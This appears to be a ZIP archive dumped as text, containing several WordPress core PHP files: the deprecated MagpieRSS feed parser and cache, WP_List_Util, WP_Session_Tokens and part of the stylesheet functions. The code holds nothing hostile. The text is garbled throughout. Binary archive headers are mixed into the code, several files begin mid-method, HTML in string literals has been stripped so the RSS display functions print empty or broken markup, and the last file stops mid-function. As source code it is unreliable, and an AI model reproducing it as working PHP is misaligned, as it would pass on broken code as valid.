???PK!T%*ý£Z£Zrss.phpnuȯÝí * @version 0.51 * @license GPL * * @package External * @subpackage MagpieRSS * @deprecated 3.0.0 Use SimplePie instead. */ /** * Deprecated. Use SimplePie (class-simplepie.php) instead. */ _deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' ); /** * Fires before MagpieRSS is loaded, to optionally replace it. * * @since 2.3.0 * @deprecated 3.0.0 */ do_action( 'load_feed_engine' ); /** RSS feed constant. */ define('RSS', 'RSS'); define('ATOM', 'Atom'); define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']); class MagpieRSS { var $parser; var $current_item = array(); // item currently being parsed var $items = array(); // collection of parsed items var $channel = array(); // hash of channel fields var $textinput = array(); var $image = array(); var $feed_type; var $feed_version; // parser variables var $stack = array(); // parser stack var $inchannel = false; var $initem = false; var $incontent = false; // if in Atom field var $intextinput = false; var $inimage = false; var $current_field = ''; var $current_namespace = false; //var $ERROR = ""; var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright'); /** * PHP5 constructor. */ function __construct( $source ) { # Check if PHP xml isn't compiled # if ( ! function_exists('xml_parser_create') ) { wp_trigger_error( '', "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ); return; } $parser = xml_parser_create(); $this->parser = $parser; # pass in parser, and a reference to this object # set up handlers # xml_set_element_handler($this->parser, array( $this, 'feed_start_element' ), array( $this, 'feed_end_element' ) ); xml_set_character_data_handler( $this->parser, array( $this, 'feed_cdata' ) ); $status = xml_parse( $this->parser, $source ); if (! $status ) { $errorcode = xml_get_error_code( $this->parser ); if ( $errorcode != XML_ERROR_NONE ) { $xml_error = xml_error_string( $errorcode ); $error_line = xml_get_current_line_number($this->parser); $error_col = xml_get_current_column_number($this->parser); $errormsg = "$xml_error at line $error_line, column $error_col"; $this->error( $errormsg ); } } if ( PHP_VERSION_ID < 80000 ) { // xml_parser_free() has no effect as of PHP 8.0. xml_parser_free( $this->parser ); } unset( $this->parser ); $this->normalize(); } /** * PHP4 constructor. */ public function MagpieRSS( $source ) { self::__construct( $source ); } function feed_start_element($p, $element, &$attrs) { $el = $element = strtolower($element); $attrs = array_change_key_case($attrs, CASE_LOWER); // check for a namespace, and split if found $ns = false; if ( strpos( $element, ':' ) ) { list($ns, $el) = explode( ':', $element, 2); } if ( $ns and $ns != 'rdf' ) { $this->current_namespace = $ns; } # if feed type isn't set, then this is first element of feed # identify feed from root element # if (!isset($this->feed_type) ) { if ( $el == 'rdf' ) { $this->feed_type = RSS; $this->feed_version = '1.0'; } elseif ( $el == 'rss' ) { $this->feed_type = RSS; $this->feed_version = $attrs['version']; } elseif ( $el == 'feed' ) { $this->feed_type = ATOM; $this->feed_version = $attrs['version']; $this->inchannel = true; } return; } if ( $el == 'channel' ) { $this->inchannel = true; } elseif ($el == 'item' or $el == 'entry' ) { $this->initem = true; if ( isset($attrs['rdf:about']) ) { $this->current_item['about'] = $attrs['rdf:about']; } } // if we're in the default namespace of an RSS feed, // record textinput or image fields elseif ( $this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' ) { $this->intextinput = true; } elseif ( $this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' ) { $this->inimage = true; } # handle atom content constructs elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) ) { // avoid clashing w/ RSS mod_content if ($el == 'content' ) { $el = 'atom_content'; } $this->incontent = $el; } // if inside an Atom content construct (e.g. content or summary) field treat tags as text elseif ($this->feed_type == ATOM and $this->incontent ) { // if tags are inlined, then flatten $attrs_str = join(' ', array_map(array('MagpieRSS', 'map_attrs'), array_keys($attrs), array_values($attrs) ) ); $this->append_content( "<$element $attrs_str>" ); array_unshift( $this->stack, $el ); } // Atom support many links per containing element. // Magpie treats link elements of type rel='alternate' // as being equivalent to RSS's simple link element. // elseif ($this->feed_type == ATOM and $el == 'link' ) { if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' ) { $link_el = 'link'; } else { $link_el = 'link_' . $attrs['rel']; } $this->append($link_el, $attrs['href']); } // set stack[0] to current element else { array_unshift($this->stack, $el); } } function feed_cdata ($p, $text) { if ($this->feed_type == ATOM and $this->incontent) { $this->append_content( $text ); } else { $current_el = join('_', array_reverse($this->stack)); $this->append($current_el, $text); } } function feed_end_element ($p, $el) { $el = strtolower($el); if ( $el == 'item' or $el == 'entry' ) { $this->items[] = $this->current_item; $this->current_item = array(); $this->initem = false; } elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' ) { $this->intextinput = false; } elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' ) { $this->inimage = false; } elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) ) { $this->incontent = false; } elseif ($el == 'channel' or $el == 'feed' ) { $this->inchannel = false; } elseif ($this->feed_type == ATOM and $this->incontent ) { // balance tags properly // note: This may not actually be necessary if ( $this->stack[0] == $el ) { $this->append_content(""); } else { $this->append_content("<$el />"); } array_shift( $this->stack ); } else { array_shift( $this->stack ); } $this->current_namespace = false; } function concat (&$str1, $str2="") { if (!isset($str1) ) { $str1=""; } $str1 .= $str2; } function append_content($text) { if ( $this->initem ) { $this->concat( $this->current_item[ $this->incontent ], $text ); } elseif ( $this->inchannel ) { $this->concat( $this->channel[ $this->incontent ], $text ); } } // smart append - field and namespace aware function append($el, $text) { if (!$el) { return; } if ( $this->current_namespace ) { if ( $this->initem ) { $this->concat( $this->current_item[ $this->current_namespace ][ $el ], $text); } elseif ($this->inchannel) { $this->concat( $this->channel[ $this->current_namespace][ $el ], $text ); } elseif ($this->intextinput) { $this->concat( $this->textinput[ $this->current_namespace][ $el ], $text ); } elseif ($this->inimage) { $this->concat( $this->image[ $this->current_namespace ][ $el ], $text ); } } else { if ( $this->initem ) { $this->concat( $this->current_item[ $el ], $text); } elseif ($this->intextinput) { $this->concat( $this->textinput[ $el ], $text ); } elseif ($this->inimage) { $this->concat( $this->image[ $el ], $text ); } elseif ($this->inchannel) { $this->concat( $this->channel[ $el ], $text ); } } } function normalize () { // if atom populate rss fields if ( $this->is_atom() ) { $this->channel['description'] = $this->channel['tagline']; for ( $i = 0; $i < count($this->items); $i++) { $item = $this->items[$i]; if ( isset($item['summary']) ) $item['description'] = $item['summary']; if ( isset($item['atom_content'])) $item['content']['encoded'] = $item['atom_content']; $this->items[$i] = $item; } } elseif ( $this->is_rss() ) { $this->channel['tagline'] = $this->channel['description']; for ( $i = 0; $i < count($this->items); $i++) { $item = $this->items[$i]; if ( isset($item['description'])) $item['summary'] = $item['description']; if ( isset($item['content']['encoded'] ) ) $item['atom_content'] = $item['content']['encoded']; $this->items[$i] = $item; } } } function is_rss () { if ( $this->feed_type == RSS ) { return $this->feed_version; } else { return false; } } function is_atom() { if ( $this->feed_type == ATOM ) { return $this->feed_version; } else { return false; } } function map_attrs($k, $v) { return "$k=\"$v\""; } function error( $errormsg, $lvl = E_USER_WARNING ) { if ( MAGPIE_DEBUG ) { wp_trigger_error('', $errormsg, $lvl); } else { error_log( $errormsg, 0); } } } if ( !function_exists('fetch_rss') ) : /** * Build Magpie object based on RSS from URL. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL to retrieve feed. * @return MagpieRSS|false MagpieRSS object on success, false on failure. */ function fetch_rss ($url) { // initialize constants init(); if ( !isset($url) ) { // error("fetch_rss called without a url"); return false; } // if cache is disabled if ( !MAGPIE_CACHE_ON ) { // fetch file, and parse it $resp = _fetch_remote_file( $url ); if ( is_success( $resp->status ) ) { return _response_to_rss( $resp ); } else { // error("Failed to fetch $url and cache is off"); return false; } } // else cache is ON else { // Flow // 1. check cache // 2. if there is a hit, make sure it's fresh // 3. if cached obj fails freshness check, fetch remote // 4. if remote fails, return stale object, or error $cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE ); if (MAGPIE_DEBUG and $cache->ERROR) { debug($cache->ERROR, E_USER_WARNING); } $cache_status = 0; // response of check_cache $request_headers = array(); // HTTP headers to send with fetch $rss = 0; // parsed RSS object $errormsg = 0; // errors, if any if (!$cache->ERROR) { // return cache HIT, MISS, or STALE $cache_status = $cache->check_cache( $url ); } // if object cached, and cache is fresh, return cached obj if ( $cache_status == 'HIT' ) { $rss = $cache->get( $url ); if ( isset($rss) and $rss ) { $rss->from_cache = 1; if ( MAGPIE_DEBUG > 1) { debug("MagpieRSS: Cache HIT", E_USER_NOTICE); } return $rss; } } // else attempt a conditional get // set up headers if ( $cache_status == 'STALE' ) { $rss = $cache->get( $url ); if ( isset($rss->etag) and $rss->last_modified ) { $request_headers['If-None-Match'] = $rss->etag; $request_headers['If-Last-Modified'] = $rss->last_modified; } } $resp = _fetch_remote_file( $url, $request_headers ); if (isset($resp) and $resp) { if ($resp->status == '304' ) { // we have the most current copy if ( MAGPIE_DEBUG > 1) { debug("Got 304 for $url"); } // reset cache on 304 (at minutillo insistent prodding) $cache->set($url, $rss); return $rss; } elseif ( is_success( $resp->status ) ) { $rss = _response_to_rss( $resp ); if ( $rss ) { if (MAGPIE_DEBUG > 1) { debug("Fetch successful"); } // add object to cache $cache->set( $url, $rss ); return $rss; } } else { $errormsg = "Failed to fetch $url. "; if ( $resp->error ) { # compensate for Snoopy's annoying habit to tacking # on '\n' $http_error = substr($resp->error, 0, -2); $errormsg .= "(HTTP Error: $http_error)"; } else { $errormsg .= "(HTTP Response: " . $resp->response_code .')'; } } } else { $errormsg = "Unable to retrieve RSS file for unknown reasons."; } // else fetch failed // attempt to return cached object if ($rss) { if ( MAGPIE_DEBUG ) { debug("Returning STALE object for $url"); } return $rss; } // else we totally failed // error( $errormsg ); return false; } // end if ( !MAGPIE_CACHE_ON ) { } // end fetch_rss() endif; /** * Retrieve URL headers and content using WP HTTP Request API. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL to retrieve * @param array $headers Optional. Headers to send to the URL. Default empty string. * @return Snoopy style response */ function _fetch_remote_file($url, $headers = "" ) { $resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) ); if ( is_wp_error($resp) ) { $error = array_shift($resp->errors); $resp = new stdClass; $resp->status = 500; $resp->response_code = 500; $resp->error = $error[0] . "\n"; //\n = Snoopy compatibility return $resp; } // Snoopy returns headers unprocessed. // Also note, WP_HTTP lowercases all keys, Snoopy did not. $return_headers = array(); foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) { if ( !is_array($value) ) { $return_headers[] = "$key: $value"; } else { foreach ( $value as $v ) $return_headers[] = "$key: $v"; } } $response = new stdClass; $response->status = wp_remote_retrieve_response_code( $resp ); $response->response_code = wp_remote_retrieve_response_code( $resp ); $response->headers = $return_headers; $response->results = wp_remote_retrieve_body( $resp ); return $response; } /** * Retrieve * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param array $resp * @return MagpieRSS|bool */ function _response_to_rss ($resp) { $rss = new MagpieRSS( $resp->results ); // if RSS parsed successfully if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) { // find Etag, and Last-Modified foreach ( (array) $resp->headers as $h) { // 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1" if (strpos($h, ": ")) { list($field, $val) = explode(": ", $h, 2); } else { $field = $h; $val = ""; } if ( $field == 'etag' ) { $rss->etag = $val; } if ( $field == 'last-modified' ) { $rss->last_modified = $val; } } return $rss; } // else construct error message else { $errormsg = "Failed to parse RSS file."; if ($rss) { $errormsg .= " (" . $rss->ERROR . ")"; } // error($errormsg); return false; } // end if ($rss and !$rss->error) } /** * Set up constants with default values, unless user overrides. * * @since 1.5.0 * * @global string $wp_version The WordPress version string. * * @package External * @subpackage MagpieRSS */ function init () { if ( defined('MAGPIE_INITALIZED') ) { return; } else { define('MAGPIE_INITALIZED', 1); } if ( !defined('MAGPIE_CACHE_ON') ) { define('MAGPIE_CACHE_ON', 1); } if ( !defined('MAGPIE_CACHE_DIR') ) { define('MAGPIE_CACHE_DIR', './cache'); } if ( !defined('MAGPIE_CACHE_AGE') ) { define('MAGPIE_CACHE_AGE', 60*60); // one hour } if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) { define('MAGPIE_CACHE_FRESH_ONLY', 0); } if ( !defined('MAGPIE_DEBUG') ) { define('MAGPIE_DEBUG', 0); } if ( !defined('MAGPIE_USER_AGENT') ) { $ua = 'WordPress/' . $GLOBALS['wp_version']; if ( MAGPIE_CACHE_ON ) { $ua = $ua . ')'; } else { $ua = $ua . '; No cache)'; } define('MAGPIE_USER_AGENT', $ua); } if ( !defined('MAGPIE_FETCH_TIME_OUT') ) { define('MAGPIE_FETCH_TIME_OUT', 2); // 2 second timeout } // use gzip encoding to fetch rss files if supported? if ( !defined('MAGPIE_USE_GZIP') ) { define('MAGPIE_USE_GZIP', true); } } function is_info ($sc) { return $sc >= 100 && $sc < 200; } function is_success ($sc) { return $sc >= 200 && $sc < 300; } function is_redirect ($sc) { return $sc >= 300 && $sc < 400; } function is_error ($sc) { return $sc >= 400 && $sc < 600; } function is_client_error ($sc) { return $sc >= 400 && $sc < 500; } function is_server_error ($sc) { return $sc >= 500 && $sc < 600; } class RSSCache { var $BASE_CACHE; // where the cache files are stored var $MAX_AGE = 43200; // when are files stale, default twelve hours var $ERROR = ''; // accumulate error messages /** * PHP5 constructor. */ function __construct( $base = '', $age = '' ) { $this->BASE_CACHE = WP_CONTENT_DIR . '/cache'; if ( $base ) { $this->BASE_CACHE = $base; } if ( $age ) { $this->MAX_AGE = $age; } } /** * PHP4 constructor. */ public function RSSCache( $base = '', $age = '' ) { self::__construct( $base, $age ); } /*=======================================================================*\ Function: set Purpose: add an item to the cache, keyed on url Input: url from which the rss file was fetched Output: true on success \*=======================================================================*/ function set ($url, $rss) { $cache_option = 'rss_' . $this->file_name( $url ); set_transient($cache_option, $rss, $this->MAX_AGE); return $cache_option; } /*=======================================================================*\ Function: get Purpose: fetch an item from the cache Input: url from which the rss file was fetched Output: cached object on HIT, false on MISS \*=======================================================================*/ function get ($url) { $this->ERROR = ""; $cache_option = 'rss_' . $this->file_name( $url ); if ( ! $rss = get_transient( $cache_option ) ) { $this->debug( "Cache does not contain: $url (cache option: $cache_option)" ); return 0; } return $rss; } /*=======================================================================*\ Function: check_cache Purpose: check a url for membership in the cache and whether the object is older then MAX_AGE (ie. STALE) Input: url from which the rss file was fetched Output: cached object on HIT, false on MISS \*=======================================================================*/ function check_cache ( $url ) { $this->ERROR = ""; $cache_option = 'rss_' . $this->file_name( $url ); if ( get_transient($cache_option) ) { // object exists and is current return 'HIT'; } else { // object does not exist return 'MISS'; } } /*=======================================================================*\ Function: serialize \*=======================================================================*/ function serialize ( $rss ) { return serialize( $rss ); } /*=======================================================================*\ Function: unserialize \*=======================================================================*/ function unserialize ( $data ) { return unserialize( $data ); } /*=======================================================================*\ Function: file_name Purpose: map url to location in cache Input: url from which the rss file was fetched Output: a file name \*=======================================================================*/ function file_name ($url) { return md5( $url ); } /*=======================================================================*\ Function: error Purpose: register error \*=======================================================================*/ function error ($errormsg, $lvl=E_USER_WARNING) { $this->ERROR = $errormsg; if ( MAGPIE_DEBUG ) { wp_trigger_error( '', $errormsg, $lvl); } else { error_log( $errormsg, 0); } } function debug ($debugmsg, $lvl=E_USER_NOTICE) { if ( MAGPIE_DEBUG ) { $this->error("MagpieRSS [debug] $debugmsg", $lvl); } } } if ( !function_exists('parse_w3cdtf') ) : function parse_w3cdtf ( $date_str ) { # regex to match W3C date/time formats $pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/"; if ( preg_match( $pat, $date_str, $match ) ) { list( $year, $month, $day, $hours, $minutes, $seconds) = array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]); # calc epoch for current date assuming GMT $epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year); $offset = 0; if ( $match[11] == 'Z' ) { # zulu time, aka GMT } else { list( $tz_mod, $tz_hour, $tz_min ) = array( $match[8], $match[9], $match[10]); # zero out the variables if ( ! $tz_hour ) { $tz_hour = 0; } if ( ! $tz_min ) { $tz_min = 0; } $offset_secs = (($tz_hour*60)+$tz_min)*60; # is timezone ahead of GMT? then subtract offset # if ( $tz_mod == '+' ) { $offset_secs = $offset_secs * -1; } $offset = $offset_secs; } $epoch = $epoch + $offset; return $epoch; } else { return -1; } } endif; if ( !function_exists('wp_rss') ) : /** * Display all RSS items in a HTML ordered list. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL of feed to display. Will not auto sense feed URL. * @param int $num_items Optional. Number of items to display, default is all. */ function wp_rss( $url, $num_items = -1 ) { if ( $rss = fetch_rss( $url ) ) { echo ''; } else { _e( 'An error has occurred, which probably means the feed is down. Try again later.' ); } } endif; if ( !function_exists('get_rss') ) : /** * Display RSS items in HTML list items. * * You have to specify which HTML list you want, either ordered or unordered * before using the function. You also have to specify how many items you wish * to display. You can't display all of them like you can with wp_rss() * function. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL of feed to display. Will not auto sense feed URL. * @param int $num_items Optional. Number of items to display, default is all. * @return bool False on failure. */ function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS $rss = fetch_rss($url); if ( $rss ) { $rss->items = array_slice($rss->items, 0, $num_items); foreach ( (array) $rss->items as $item ) { echo "
  • \n"; echo ""; echo esc_html($item['title']); echo "
    \n"; echo "
  • \n"; } } else { return false; } } endif; PK!~id‚class-wp-list-util.phpnu„[µü¤output = $input; $this->input = $input; } /** * Returns the original input array. * * @since 4.7.0 * * @return array The input array. */ public function get_input() { return $this->input; } /** * Returns the output array. * * @since 4.7.0 * * @return array The output array. */ public function get_output() { return $this->output; } /** * Filters the list, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * @since 4.7.0 * * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ public function filter( $args = array(), $operator = 'AND' ) { if ( empty( $args ) ) { return $this->output; } $operator = strtoupper( $operator ); if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) { $this->output = array(); return $this->output; } $count = count( $args ); $filtered = array(); foreach ( $this->output as $key => $obj ) { $matched = 0; foreach ( $args as $m_key => $m_value ) { if ( is_array( $obj ) ) { // Treat object as an array. if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) { ++$matched; } } elseif ( is_object( $obj ) ) { // Treat object as an object. if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) { ++$matched; } } } if ( ( 'AND' === $operator && $matched === $count ) || ( 'OR' === $operator && $matched > 0 ) || ( 'NOT' === $operator && 0 === $matched ) ) { $filtered[ $key ] = $obj; } } $this->output = $filtered; return $this->output; } /** * Plucks a certain field out of each element in the input array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 4.7.0 * * @param int|string $field Field to fetch from the object or array. * @param int|string $index_key Optional. Field from the element to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ public function pluck( $field, $index_key = null ) { $newlist = array(); if ( ! $index_key ) { /* * This is simple. Could at some point wrap array_column() * if we knew we had an array of arrays. */ foreach ( $this->output as $key => $value ) { if ( is_object( $value ) ) { $newlist[ $key ] = $value->$field; } elseif ( is_array( $value ) ) { $newlist[ $key ] = $value[ $field ]; } else { _doing_it_wrong( __METHOD__, __( 'Values for the input array must be either objects or arrays.' ), '6.2.0' ); } } $this->output = $newlist; return $this->output; } /* * When index_key is not set for a particular item, push the value * to the end of the stack. This is how array_column() behaves. */ foreach ( $this->output as $value ) { if ( is_object( $value ) ) { if ( isset( $value->$index_key ) ) { $newlist[ $value->$index_key ] = $value->$field; } else { $newlist[] = $value->$field; } } elseif ( is_array( $value ) ) { if ( isset( $value[ $index_key ] ) ) { $newlist[ $value[ $index_key ] ] = $value[ $field ]; } else { $newlist[] = $value[ $field ]; } } else { _doing_it_wrong( __METHOD__, __( 'Values for the input array must be either objects or arrays.' ), '6.2.0' ); } } $this->output = $newlist; return $this->output; } /** * Sorts the input array based on one or more orderby arguments. * * @since 4.7.0 * * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as `$orderby => $order`. * Default empty array. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if `$orderby` * is a string. Default 'ASC'. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( empty( $orderby ) ) { return $this->output; } if ( is_string( $orderby ) ) { $orderby = array( $orderby => $order ); } foreach ( $orderby as $field => $direction ) { $orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC'; } $this->orderby = $orderby; if ( $preserve_keys ) { uasort( $this->output, array( $this, 'sort_callback' ) ); } else { usort( $this->output, array( $this, 'sort_callback' ) ); } $this->orderby = array(); return $this->output; } /** * Callback to sort an array by specific fields. * * @since 4.7.0 * * @see WP_List_Util::sort() * * @param object|array $a One object to compare. * @param object|array $b The other object to compare. * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise. */ private function sort_callback( $a, $b ) { if ( empty( $this->orderby ) ) { return 0; } $a = (array) $a; $b = (array) $b; foreach ( $this->orderby as $field => $direction ) { if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) { continue; } if ( $a[ $field ] == $b[ $field ] ) { continue; } $results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 ); if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) { return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1]; } return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1]; } return 0; } } PK!”öêY——class-wp-session-tokens.phpnuȯÝíuser_id = $user_id; } /** * Retrieves a session manager instance for a user. * * This method contains a {@see 'session_token_manager'} filter, allowing a plugin to swap out * the session manager for a subclass of `WP_Session_Tokens`. * * @since 4.0.0 * * @param int $user_id User whose session to manage. * @return WP_Session_Tokens The session object, which is by default an instance of * the `WP_User_Meta_Session_Tokens` class. */ final public static function get_instance( $user_id ) { /** * Filters the class name for the session token manager. * * @since 4.0.0 * * @param string $session Name of class to use as the manager. * Default 'WP_User_Meta_Session_Tokens'. */ $manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' ); return new $manager( $user_id ); } /** * Hashes the given session token for storage. * * @since 4.0.0 * * @param string $token Session token to hash. * @return string A hash of the session token (a verifier). */ private function hash_token( $token ) { return hash( 'sha256', $token ); } /** * Retrieves a user's session for the given token. * * @since 4.0.0 * * @param string $token Session token. * @return array|null The session, or null if it does not exist. */ final public function get( $token ) { $verifier = $this->hash_token( $token ); return $this->get_session( $verifier ); } /** * Validates the given session token for authenticity and validity. * * Checks that the given token is present and hasn't expired. * * @since 4.0.0 * * @param string $token Token to verify. * @return bool Whether the token is valid for the user. */ final public function verify( $token ) { $verifier = $this->hash_token( $token ); return (bool) $this->get_session( $verifier ); } /** * Generates a session token and attaches session information to it. * * A session token is a long, random string. It is used in a cookie * to link that cookie to an expiration time and to ensure the cookie * becomes invalidated when the user logs out. * * This function generates a token and stores it with the associated * expiration time (and potentially other session information via the * {@see 'attach_session_information'} filter). * * @since 4.0.0 * * @param int $expiration Session expiration timestamp. * @return string Session token. */ final public function create( $expiration ) { /** * Filters the information attached to the newly created session. * * Can be used to attach further information to a session. * * @since 4.0.0 * * @param array $session Array of extra data. * @param int $user_id User ID. */ $session = apply_filters( 'attach_session_information', array(), $this->user_id ); $session['expiration'] = $expiration; // IP address. if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) { $session['ip'] = $_SERVER['REMOTE_ADDR']; } // User-agent. if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) { $session['ua'] = wp_unslash( $_SERVER['HTTP_USER_AGENT'] ); } // Timestamp. $session['login'] = time(); $token = wp_generate_password( 43, false, false ); $this->update( $token, $session ); return $token; } /** * Updates the data for the session with the given token. * * @since 4.0.0 * * @param string $token Session token to update. * @param array $session Session information. */ final public function update( $token, $session ) { $verifier = $this->hash_token( $token ); $this->update_session( $verifier, $session ); } /** * Destroys the session with the given token. * * @since 4.0.0 * * @param string $token Session token to destroy. */ final public function destroy( $token ) { $verifier = $this->hash_token( $token ); $this->update_session( $verifier, null ); } /** * Destroys all sessions for this user except the one with the given token (presumably the one in use). * * @since 4.0.0 * * @param string $token_to_keep Session token to keep. */ final public function destroy_others( $token_to_keep ) { $verifier = $this->hash_token( $token_to_keep ); $session = $this->get_session( $verifier ); if ( $session ) { $this->destroy_other_sessions( $verifier ); } else { $this->destroy_all_sessions(); } } /** * Determines whether a session is still valid, based on its expiration timestamp. * * @since 4.0.0 * * @param array $session Session to check. * @return bool Whether session is valid. */ final protected function is_still_valid( $session ) { return $session['expiration'] >= time(); } /** * Destroys all sessions for a user. * * @since 4.0.0 */ final public function destroy_all() { $this->destroy_all_sessions(); } /** * Destroys all sessions for all users. * * @since 4.0.0 */ final public static function destroy_all_for_all_users() { /** This filter is documented in wp-includes/class-wp-session-tokens.php */ $manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' ); call_user_func( array( $manager, 'drop_sessions' ) ); } /** * Retrieves all sessions for a user. * * @since 4.0.0 * * @return array Sessions for a user. */ final public function get_all() { return array_values( $this->get_sessions() ); } /** * Retrieves all sessions of the user. * * @since 4.0.0 * * @return array Sessions of the user. */ abstract protected function get_sessions(); /** * Retrieves a session based on its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier for the session to retrieve. * @return array|null The session, or null if it does not exist. */ abstract protected function get_session( $verifier ); /** * Updates a session based on its verifier (token hash). * * Omitting the second argument destroys the session. * * @since 4.0.0 * * @param string $verifier Verifier for the session to update. * @param array $session Optional. Session. Omitting this argument destroys the session. */ abstract protected function update_session( $verifier, $session = null ); /** * Destroys all sessions for this user, except the single session with the given verifier. * * @since 4.0.0 * * @param string $verifier Verifier of the session to keep. */ abstract protected function destroy_other_sessions( $verifier ); /** * Destroys all sessions for the user. * * @since 4.0.0 */ abstract protected function destroy_all_sessions(); /** * Destroys all sessions for all users. * * @since 4.0.0 */ public static function drop_sessions() {} } PK!6¬å“Á!Á!functions.wp-styles.phpnuȯÝído_items( $handles ); } /** * Adds extra CSS styles to a registered stylesheet. * * Styles will only be added if the stylesheet is already in the queue. * Accepts a string $data containing the CSS. If two or more CSS code blocks * are added to the same stylesheet $handle, they will be printed in the order * they were added, i.e. the latter added styles can redeclare the previous. * * @see WP_Styles::add_inline_style() * * @since 3.3.0 * * @param string $handle Name of the stylesheet to add the extra styles to. * @param string $data String containing the CSS styles to be added. * @return bool True on success, false on failure. */ function wp_add_inline_style( $handle, $data ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); if ( false !== stripos( $data, '' ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: #is', '$1', $data ) ); } return wp_styles()->add_inline_style( $handle, $data ); } /** * Registers a CSS stylesheet. * * @see WP_Dependencies::add() * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types. * * @since 2.6.0 * @since 4.3.0 A return value was added. * * @param string $handle Name of the stylesheet. Should be unique. * @param string|false $src Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory. * If source is set to false, stylesheet is an alias of other stylesheets it depends on. * @param string[] $deps Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array. * @param string|bool|null $ver Optional. String specifying stylesheet version number, if it has one, which is added to the URL * as a query string for cache busting purposes. If version is set to false, a version * number is automatically added equal to current installed WordPress version. * If set to null, no version is added. * @param string $media Optional. The media for which this stylesheet has been defined. * Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like * '(orientation: portrait)' and '(max-width: 640px)'. * @return bool Whether the style has been registered. True on success, false on failure. */ function wp_register_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); return wp_styles()->add( $handle, $src, $deps, $ver, $media ); } /** * Removes a registered stylesheet. * * @see WP_Dependencies::remove() * * @since 2.1.0 * * @param string $handle Name of the stylesheet to be removed. */ function wp_deregister_style( $handle ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); wp_styles()->remove( $handle ); } /** * Enqueues a CSS stylesheet. * * Registers the style if source provided (does NOT overwrite) and enqueues. * * @see WP_Dependencies::add() * @see WP_Dependencies::enqueue() * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types. * * @since 2.6.0 * * @param string $handle Name of the stylesheet. Should be unique. * @param string $src Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory. * Default empty. * @param string[] $deps Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array. * @param string|bool|null $ver Optional. String specifying stylesheet version number, if it has one, which is added to the URL * as a query string for cache busting purposes. If version is set to false, a version * number is automatically added equal to current installed WordPress version. * If set to null, no version is added. * @param string $media Optional. The media for which this stylesheet has been defined. * Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like * '(orientation: portrait)' and '(max-width: 640px)'. */ function wp_enqueue_style( $handle, 